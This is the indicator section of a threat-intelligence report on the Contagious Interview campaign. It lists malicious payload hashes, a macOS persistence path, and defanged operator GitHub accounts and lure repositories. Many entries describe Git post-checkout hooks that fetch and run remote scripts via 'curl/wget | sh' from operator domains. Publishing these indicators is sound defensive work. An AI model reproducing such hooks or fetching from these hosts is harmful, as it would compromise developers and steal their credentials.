    sha256f7c282b1a5d61be5a58c7cd6810d75484fd10a9ab3a5b620cc6697546f1a4f30Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha25662c553d63c0052a61136abcfd4191c56bfb3d25b49dc5c60dc27f786ad59f3a0Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha256da8d7a294c004ee2ac8ef63a2b561eb1dfdea4315fc0c7babc76562bd8eff28fPayload present on 26 October 2026
    Confidence: Confirmed malicious
    sha2560a9224c015b2b468dad36d14a71278c8341d6427d2df32697854030b22925c26Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha2569656b2ad9e5cb0c79549364ee844cae8c8718a2d367230b626eac0739c8ac1a5Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha256ee6385a11564379f60e44ee894a87c0ac18f8cc3275cbd2662ca5bac04bebe9cBuild B3-cdp-la, pushed 27 October 2026
    Confidence: Confirmed malicious
    sha25600bcbf043597e5ec1644cd70e4a7a38b26f5d13560574da33fb4a278f1642523Build B3-cdp-la, pushed 27 October 2026
    Confidence: Confirmed malicious
    sha256a7e7a516bbd89d404a882417ae22b7f3ec813a825350b8f73b03dcf77247d238Build B3-cdp-la, pushed 27 October 2026
    Confidence: Confirmed malicious
    sha2562810a97bf8ae3c4d662c1d630d694a1e5b9a204a77fb6a9a755d0651058e1928Build B3-cdp-la, pushed 27 October 2026
    Confidence: Confirmed malicious
    sha2560cbc71edd549bcca2dc67ac3a462f6fcfeb7f0205935b0eadbcdeeeba6212415Build B3-cdp-la, pushed 27 October 2026
    Confidence: Confirmed malicious
    • Host indicators (macOS): ~/Library/LaunchAgents/com.user.chrome.cdp.plist (label com.user.chrome.cdp), /tmp/chrome-cdp.stdout.log, /tmp/chrome-cdp.stderr.log.
    Operator-controlled GitHub accounts and repositories, checked 2 November 2026. Victims' accounts are not listed, nor accounts that may have been hijacked or whose role is not established. The confidence column gives the strength of each entry.
    0 selected · 135 of 135 shown
    TypeValueContextCopy
    other0xLabs58GitHub user created 2026-03-12, live on 2 November 2026. Pushes the same template files as Best-City-V1, minutes apart
    Confidence: Confirmed malicious
    otherBest-City-V1GitHub organization created 2025-10-29, live on 2 November 2026. Owns lure repositories with the loader
    Confidence: Confirmed malicious
    repositoryBest-City-V1/BestCityactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositoryBest-City-V1/Best-Cityactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositoryBest-City-V1/Property-Rentalactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositoryBest-City-V1/new-bestcityactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositoryBest-City-V1/latest-bestcityactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositoryBest-City-V1/new-wdbactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositoryBest-City-V1/royalcity-gitactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositoryBest-City-V1/new-royalactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositoryBest-City-V1/new-royal-2actor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositoryBest-City-V1/don-t-remove-drei-roaylactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    otherEstateXGitHub organization created 2025-06-18, live on 2 November 2026. Organization whose repositories were created by AssessPoint-Dex and CristhianMar7 (2025)
    Confidence: Confirmed malicious
    otherHiring-Test-BackendGitHub organization created 2026-10-07, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script
    Confidence: Confirmed malicious
    repositoryHiring-Test-Backend/Backend-Testlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    otherHiring-Test-FrontendGitHub organization created 2026-10-07, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script
    Confidence: Confirmed malicious
    repositoryHiring-Test-Frontend/Test-Frontendlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    otherHiring-Test-ProjectGitHub organization created 2026-10-11, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/CPPlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/Golure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/JavaScriptlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/csharplure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/haskelllure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/javalure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/kotlinlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/movelure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/pythonlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/rubylure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/rustlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/soliditylure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    repositoryHiring-Test-Project/swiftlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    otherHiring-Test-SolidityGitHub organization created 2026-10-07, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script
    Confidence: Confirmed malicious
    repositoryHiring-Test-Solidity/Test-Blockchainlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → parallelchain-labs[.]com
    Confidence: Confirmed malicious
    otherKlassiTokenGitHub organization created 2025-06-06, live on 2 November 2026. Owns lure repositories with the loader
    Confidence: Confirmed malicious
    repositoryKlassiToken/assessmentactor-owned lure repo with errorHandler/runtimeConfig loader → bs-production[.]up[.]railway[.]app/svg
    Confidence: Confirmed malicious
    otherKristinaVokovGitHub user created 2026-10-02, live on 2 November 2026. Throwaway with push access to the catchgold repositories
    Confidence: Confirmed malicious
    otherLootrushOrgGitHub organization created 2026-10-23, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script
    Confidence: Confirmed malicious
    repositoryLootrushOrg/golang-coding-testlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrush[.]sbs
    Confidence: Confirmed malicious
    otherMeta-Real-EstateGitHub organization created 2025-07-07, live on 2 November 2026. Organization whose single repository carried the 2025 loader
    Confidence: Confirmed malicious
    repositoryMeta-Real-Estate/Meta-Real-EstateLure repository whose 2025 loader used the stager api-server-mocha[.]vercel[.]app
    Confidence: Confirmed malicious
    otherQevoratrix-live-testGitHub organization created 2026-10-23, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script
    Confidence: Confirmed malicious
    repositoryQevoratrix-live-test/golure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → www[.]jitnad[.]biz (hook no longer at HEAD on 30 October 2026)
    Confidence: Confirmed malicious
    repositoryQevoratrix-live-test/javalure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → www[.]jitnad[.]biz (hook no longer at HEAD on 30 October 2026)
    Confidence: Confirmed malicious
    repositoryQevoratrix-live-test/nodelure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → www[.]jitnad[.]biz (hook no longer at HEAD on 30 October 2026)
    Confidence: Confirmed malicious
    repositoryQevoratrix-live-test/reactlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → www[.]jitnad[.]biz (hook no longer at HEAD on 30 October 2026)
    Confidence: Confirmed malicious
    repositoryQevoratrix-live-test/rustlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → www[.]jitnad[.]biz (hook no longer at HEAD on 30 October 2026)
    Confidence: Confirmed malicious
    repositoryQevoratrix-live-test/soliditylure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → www[.]jitnad[.]biz (hook no longer at HEAD on 30 October 2026)
    Confidence: Confirmed malicious
    otherVercel-ip22GitHub user created 2026-10-01, live on 2 November 2026. Owns staging or payload server source
    Confidence: Confirmed malicious
    repositoryVercel-ip22/gitcheckserver source
    Confidence: Confirmed malicious
    repositoryVercel-ip22/ip-check123server source
    Confidence: Confirmed malicious
    repositoryVercel-ip22/project-ziparchive (13 ZIPs with .git/hooks/post-checkout)
    Confidence: Confirmed malicious
    otherVeylora-orgGitHub organization created 2026-09-06, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script
    Confidence: Confirmed malicious
    repositoryVeylora-org/Golure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → dmitify[.]xyz
    Confidence: Confirmed malicious
    otherassesspoint-dexGitHub account, removed by 2 November 2026. Created repositories in EstateX and its own assessment, property-rental-mvp and DEX repositories (May–June 2025)
    Confidence: Confirmed malicious
    otherauron-labGitHub organization created 2026-10-03, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script
    Confidence: Confirmed malicious
    repositoryauron-lab/collateral-java-testlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → githooks[.]xyz
    Confidence: Confirmed malicious
    repositoryauron-lab/collateral-nextjs-testlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → githooks[.]xyz
    Confidence: Confirmed malicious
    repositoryauron-lab/collateral-node-testlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → githooks[.]xyz
    Confidence: Confirmed malicious
    repositoryauron-lab/collateral-rust-testlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → githooks[.]xyz
    Confidence: Confirmed malicious
    repositoryauron-lab/collateral-solidity-testlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → githooks[.]xyz
    Confidence: Confirmed malicious
    otherbezverhnaana519-droidGitHub user created 2026-10-08, live on 2 November 2026. Owns staging or payload server source
    Confidence: Confirmed malicious
    repositorybezverhnaana519-droid/gitcheckoutserver source
    Confidence: Confirmed malicious
    otherbitangels-capitalGitHub organization created 2026-10-23, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script
    Confidence: Confirmed malicious
    repositorybitangels-capital/auronlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → git-node-update[.]online
    Confidence: Confirmed malicious
    otherbitangels-labGitHub organization created 2026-09-07, live on 2 November 2026. Organization owning auron, whose .github/githooks/post-checkout runs a remote script
    Confidence: Confirmed malicious
    repositorybitangels-lab/auronLure repository: .github/githooks/post-checkout fetches a script from githooks[.]xyz (runs only if the user sets core.hooksPath to that folder)
    Confidence: Confirmed malicious
    otherbitangels-techGitHub organization created 2026-09-10, live on 2 November 2026. Organization owning a copy of auron with the same post-checkout hook
    Confidence: Confirmed malicious
    repositorybitangels-tech/auronLure repository: .github/githooks/post-checkout fetches a script from githooks[.]xyz (runs only if the user sets core.hooksPath to that folder)
    Confidence: Confirmed malicious
    otherbrianfoster45GitHub user created 2026-09-10, live on 2 November 2026. Made all 35 pushes to the bitangels-tech lure repository
    Confidence: Confirmed malicious
    othercatchgoldGitHub organization created 2026-10-02, live on 2 November 2026. Owns staging or payload server source
    Confidence: Confirmed malicious
    repositorycatchgold/ip-checkserver source
    Confidence: Confirmed malicious
    repositorycatchgold/catchgoldserver source
    Confidence: Confirmed malicious
    othercodehome0301GitHub user created 2024-08-07, live on 2 November 2026. Owns lure repositories with the loader
    Confidence: Confirmed malicious
    repositorycodehome0301/Property-Rentalactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositorycodehome0301/Rental-Platformactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositorycodehome0301/WDBactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositorycodehome0301/Ultra-DEXactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositorycodehome0301/royalcity-vscodeactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    repositorycodehome0301/royal-VS-newactor-owned lure repo with errorHandler/runtimeConfig loader
    Confidence: Confirmed malicious
    othercristhianmar7GitHub account, removed by 2 November 2026. Created or pushed repositories inside EstateX
    Confidence: Confirmed malicious
    othercristhianmar7014GitHub account, removed by 2 November 2026. Later login of CristhianMar7 (same account id); created repositories in Morpheus-Tech-Org (Jul–Sep 2025)
    Confidence: Confirmed malicious
    otherdenetwork654GitHub user created 2026-04-19, live on 2 November 2026. Owns staging or payload server source
    Confidence: Confirmed malicious
    repositorydenetwork654/precommit-chkserver source
    Confidence: Confirmed malicious
    otherdredsoftGitHub account, removed by 2 November 2026. Created KlassiToken/assessment; its commit identity is the one in the lure template
    Confidence: Confirmed malicious
    otherdredsoft-sarosGitHub account, removed by 2 November 2026. Organization where dredsoft created the eCommerce and e-Commerce repositories (2025)
    Confidence: Confirmed malicious
    otherferexmotoGitHub account, removed by 2 November 2026. Owner of the felina repositories
    Confidence: Confirmed malicious
    otherhaoga9764GitHub account, removed by 2 November 2026. Earlier login of AssessPoint-Dex (same account id)
    Confidence: Confirmed malicious
    otherheldnavGitHub organization created 2026-10-24, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script
    Confidence: Confirmed malicious
    repositoryheldnav/heldnavlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → git-node-update[.]online (hook no longer at HEAD on 30 October 2026)
    Confidence: Confirmed malicious
    otherl-live-coding-testGitHub organization created 2026-10-11, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script
    Confidence: Confirmed malicious
    repositoryl-live-coding-test/cpplure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip
    Confidence: Confirmed malicious
    repositoryl-live-coding-test/csharplure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz
    Confidence: Confirmed malicious
    repositoryl-live-coding-test/golure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz
    Confidence: Confirmed malicious
    repositoryl-live-coding-test/javalure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz
    Confidence: Confirmed malicious
    repositoryl-live-coding-test/nodelure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz
    Confidence: Confirmed malicious
    repositoryl-live-coding-test/pythonlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz
    Confidence: Confirmed malicious
    repositoryl-live-coding-test/reactlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz
    Confidence: Confirmed malicious
    repositoryl-live-coding-test/rubylure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz
    Confidence: Confirmed malicious
    repositoryl-live-coding-test/rustlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz
    Confidence: Confirmed malicious
    repositoryl-live-coding-test/soliditylure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → lootrushs[.]xyz
    Confidence: Confirmed malicious
    otherldkowmcsGitHub user created 2026-10-02, live on 2 November 2026. Owns the gitcheckout and ip-checkout server-source repositories; added as collaborator to yorrowrisponhaxqz/drivegoogleupdate on 9 October 2026
    Confidence: Confirmed malicious
    repositoryldkowmcs/gitcheckoutserver source
    Confidence: Confirmed malicious
    repositoryldkowmcs/ip-checkoutserver source
    Confidence: Confirmed malicious
    otherlootrushs-live-coding-testGitHub organization created 2026-10-11, live on 2 November 2026. Owns repositories whose post-checkout hook downloads and runs a script
    Confidence: Confirmed malicious
    repositorylootrushs-live-coding-test/cpplure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip
    Confidence: Confirmed malicious
    repositorylootrushs-live-coding-test/csharplure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip
    Confidence: Confirmed malicious
    repositorylootrushs-live-coding-test/golure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip
    Confidence: Confirmed malicious
    repositorylootrushs-live-coding-test/javalure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip
    Confidence: Confirmed malicious
    repositorylootrushs-live-coding-test/nodelure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip
    Confidence: Confirmed malicious
    repositorylootrushs-live-coding-test/pythonlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip
    Confidence: Confirmed malicious
    repositorylootrushs-live-coding-test/reactlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip
    Confidence: Confirmed malicious
    repositorylootrushs-live-coding-test/rubylure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip
    Confidence: Confirmed malicious
    repositorylootrushs-live-coding-test/rustlure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip
    Confidence: Confirmed malicious
    repositorylootrushs-live-coding-test/soliditylure repo: repository-controlled .githooks/post-checkout (curl/wget | sh) → brickfi[.]vip
    Confidence: Confirmed malicious
    otherluckystar483GitHub account, removed by 2 November 2026. Committed to staging-server repositories; listed by earlier public research as a lure committer
    Confidence: Confirmed malicious
    othermorpheus-tech-orgGitHub account, removed by 2 November 2026. Organization where cristhianmar7014 created repositories (later renamed MorpheusDX-Network)
    Confidence: Confirmed malicious
    othermorpheusdx-networkGitHub account, removed by 2 November 2026. Later name of Morpheus-Tech-Org (same account id)
    Confidence: Confirmed malicious
    otherparallel-labs071GitHub account, removed by 2 November 2026. Recruiter persona; job ads point to a hook host
    Confidence: Confirmed malicious
    otherrich-diamond2026GitHub organization created 2026-09-03, live on 2 November 2026. Owns staging or payload server source
    Confidence: Confirmed malicious
    repositoryrich-diamond2026/gitcheckoutserver source
    Confidence: Confirmed malicious
    repositoryrich-diamond2026/diamondserver source
    Confidence: Confirmed malicious
    otherronniedevworksGitHub account, removed by 2 November 2026. Pushed the source of the locate-my-ip payload server
    Confidence: Confirmed malicious
    othersiclevitarisGitHub user created 2026-04-29, live on 2 November 2026. Pushed the stager to siclevitaris/gitcheckout and the checkmyip payload-server source to siclevitaris/checkmyip (both gone)
    Confidence: Confirmed malicious
    othersmartdefiworkGitHub user created 2026-09-07, live on 2 November 2026. Made all 45 pushes to the bitangels-lab repositories
    Confidence: Confirmed malicious
    otherstepanenkodiana908-webGitHub user created 2026-09-03, live on 2 November 2026. Throwaway with push access to the rich-diamond2026 repositories
    Confidence: Confirmed malicious
    othervercelforGitHub user created 2026-04-29, live on 2 November 2026. Owns staging or payload server source
    Confidence: Confirmed malicious
    repositoryvercelfor/gitcheckserver source
    Confidence: Confirmed malicious
    repositoryvercelfor/vercel-ipserver source
    Confidence: Confirmed malicious
    repositoryvercelfor/vercel-ip-testserver source
    Confidence: Confirmed malicious
    otherweb3madisoncarterGitHub user created 2026-08-06, live on 2 November 2026. Owns stager and payload-server source; posted nine job ads
    Confidence: Confirmed malicious
    repositoryweb3madisoncarter/gitcheckout-hookstaging-server source
    Confidence: Confirmed malicious
    repositoryweb3madisoncarter/geoinfopayload-server source
    Confidence: Confirmed malicious
    otheryorrowrisponhaxqzGitHub account, removed by 2 November 2026. Owns staging or payload server source
    Confidence: Confirmed malicious
    repositoryyorrowrisponhaxqz/drivegoogleupdateserver source
    Confidence: Confirmed malicious
    repositoryyorrowrisponhaxqz/middleware-serverserver source
    Confidence: Confirmed malicious

    What was already public

    #
    Expand technical detail · complete record

    Sources were read on or before 30 October 2026. Each one also links to its Internet Archive record, which lists the captures that exist, in case the original moves or changes.

    The findings build on substantial earlier work. Numbers in brackets in the text refer to this list.

    1. Palo Alto Unit 42, "Hacking Employers and Seeking Employment: Two Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors" (2023-11-21) — first public description of Contagious Interview. https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/ (Internet Archive lookup)
    2. Cisco Talos, "BeaverTail and OtterCookie evolve with a new Javascript module" (2025-10-16). https://blog.talosintelligence.com/beavertail-and-ottercookie/ (Internet Archive lookup)
    3. OpenSourceMalware, "DPRK Contagious Interview Malware Weaponizes Microsoft VSCode Tasks" (2025-11-29). https://opensourcemalware.com/blog/contagious-interview-vscode (Internet Archive lookup)
    4. SEAL Intel, "VS Code Tasks Abuse by Contagious Interview (DPRK)" (2026-01-13). https://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/ (Internet Archive lookup)
    5. Abstract Security, "Contagious Interview: Tracking the VS Code Tasks Infection Vector" (2026-01-20). https://www.abstract.security/blog/contagious-interview-tracking-the-vs-code-tasks-infection-vector (Internet Archive lookup)
    6. GitLab Threat Intelligence, "GitLab Threat Intelligence Team reveals North Korean tradecraft" (2026-02-19) — the .env + Function.constructor loader pattern. https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/ (Internet Archive lookup)
    7. Microsoft Threat Intelligence, "Contagious Interview: Malware delivered through fake developer job interviews" (2026-03-11). https://microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews (Internet Archive lookup)
    8. SANS Internet Storm Center, "Cross-Platform NPM Stealer" (diary 33006, 2026-05-22) — the 8085/8086/8087 port pattern. https://isc.sans.edu/diary/33006 (Internet Archive lookup)
    9. Elastic Security Labs, "New North Korean campaign uses fake coding interviews to steal developer credentials" (2026-07-18). https://www.elastic.co/security-labs/contagious-interview-malware-svg-steganography (Internet Archive lookup)
    10. Atlassian Trust & Security, "From fake interviews to malicious repositories: Disrupting Contagious Interview" (2026-09-21). https://www.atlassian.com/blog/how-we-build/disrupting-contagious-interview (Internet Archive lookup)
    11. bryanchriswhite/dev-trap-dossiers (GitHub), incident write-ups including Git-hook archives (2026-08).
    12. OSV advisory MAL-2026-2896 (npm package chai-as-stream, 2026-04-15), and a researcher's public notes on the BitAngels recruiter lure (2026-04-10).

    Reports consulted only through secondary references, because the originals could not be accessed: SlowMist (July 2026, which matches C2 172.86.126[.]76); Walmart, "Mapping OtterCookie Infrastructure"; and BlueVoyant on Shifty Corsair.

    Limitations

    #

    This is a passive and primarily static investigation. I did not access any suspected server, C2, operator panel or victim data, and I did not execute the payloads. Consequently, current liveness, server responses, delivery to a particular candidate and actual compromise are unknown. Platform search, public archives and threat-intelligence sources have coverage gaps.

    Investigation context

    #

    This article is part of the GitHub threat investigation. Counts are a snapshot, not evidence that the code ran on a victim's machine. The shared methodology and proof rules explain inclusion, exclusions and the independent re-check.

    Claims, evidence and limits

    ClaimAssessmentEvidenceLimit
    The operators keep their server code on public GitHubConfidence: Confirmed malicious
    E-CI-SERVERNot stated in the finding
    One account joins the job ads, the hook lures and the server codeConfidence: Confirmed malicious
    E-CI-RECRUIT, E-CI-SERVERNot stated in the finding
    A new build adds macOS persistenceConfidence: Confirmed malicious
    E-CI-PAYLOADNot stated in the finding
    Consistent with the publicly reported Contagious Interview activitynot stated
    Provenance: Previously documented
    —Not stated in the finding

    Terms used on this page

    pinned commit
    A specific commit, identified by its hash, at which a repository was read. Every counted repository was proven at the default-branch commit recorded in the proof pass, so a later change to the repository does not change what was proven.
    default branch
    The branch a repository shows by default. Counts are taken on default branches only; infected non-default branches were recorded separately and are not counted.
    staging server
    In Contagious Interview, an Express server that answers platform-specific setup requests with a script that downloads and starts a Node.js program; requests that look like a browser or Postman get a harmless decoy. A separate payload server returns the obfuscated JavaScript stealer.
    proof pass
    The 30–31 October 2026 re-read of every candidate at a pinned commit under fixed inclusion rules, followed by an independent re-read of a random sample of 555 repositories through a different API.
    folder-open task
    A VS Code task in .vscode/tasks.json with "runOn": "folderOpen", which runs when the folder is opened in a trusted workspace.
    defanged
    Written so it cannot be clicked or resolved as written, for example example[.]com or hxxps://. Every network indicator on this site is defanged.

    All terms: glossary.

    Corrections & discussion

    Found an error, or have evidence that supports or contradicts a finding? Send a correction. Name the section and what you observed.

    ← All research